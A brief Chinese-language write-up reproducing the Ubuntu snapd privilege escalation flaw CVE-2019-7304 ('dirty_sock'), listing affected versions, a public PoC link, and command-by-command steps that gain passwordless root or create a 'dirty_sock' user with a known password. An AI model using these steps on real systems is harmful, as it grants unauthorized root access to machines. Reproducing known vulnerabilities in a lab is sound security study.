Ubuntu 提權漏洞(CVE-2019-7304)復現

漏洞描述：

Ubuntu 版本：

Ubuntu 18.10

Ubuntu 18.04 LTS

Ubuntu 16.04 LTS

Ubuntu 14.04 LTS

2.28 < snapd < 2.37 會存在該漏洞

Poc Github：https://github.com/initstring/dirty_sock

 

#1

註冊並登錄， https://login.ubuntu.com/

在 Ubuntu 上，生成密鑰

ssh-keygen -t rsa -C "your_email@example.com"

查看公鑰

將公鑰複製到網站上

接下來執行 poc

python3 ./dirty_sockv1.py -u "sch01ar@163.com" -k "../.ssh/id_rsa"

執行完以後 sch01ar 被修改成 Ubuntu 上的用戶名

接着切換爲 root 用戶

sudo -i

 

切換成 root 用戶時不須要輸入密碼

 

#2

直接運行腳本

python3 dirty_sockv2.py

執行完會生成一個 dirty_sock 的用戶，密碼也是這個